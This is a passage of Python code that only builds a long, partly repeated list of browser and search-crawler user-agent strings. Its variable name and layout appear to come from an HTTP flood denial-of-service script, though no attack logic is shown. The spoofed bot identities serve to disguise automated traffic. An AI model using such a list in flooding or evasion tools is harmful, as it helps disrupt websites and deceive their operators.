headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') 